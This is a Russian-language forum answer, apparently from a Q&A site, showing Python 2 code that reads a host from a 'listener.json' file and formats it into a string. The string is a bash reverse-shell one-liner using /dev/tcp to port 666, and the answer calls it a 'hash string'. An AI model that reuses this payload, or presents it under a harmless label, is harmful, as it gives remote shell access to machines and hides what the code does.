Предполагая, что я получил ваш вопрос (вы написали вопрос в очень расплывчатой форме) ... вы пытаетесь получить значение '192.168.1.8', связанное с ключом 'host', которое хранится в словаре в заданная строка хеша. Попробуйте следующий код ->
import json
from pprint import pprint
data = json.load(open('config/listener.json'))
host = data['443']['host']
hash_string = ('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host))
print hash_string
Вывод будет ->
0<&196;exec 196<>/dev/tcp/192.168.1.8/666; sh <&196 >&196 2>&196
Здесь, в переменной hash_string, значение хеш-функции хранится как «строка», а не как набор. Я предполагаю, что вы хотели именно так, если нет ... тогда просто добавьте запятую в конце, как это ->
hash_string=('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host),)
Надеюсь, это помогло! и я надеюсь, что я правильно ответил на ваш вопрос, если нет, попробуйте объяснить его более подробно, и я отредактирую свой ответ:)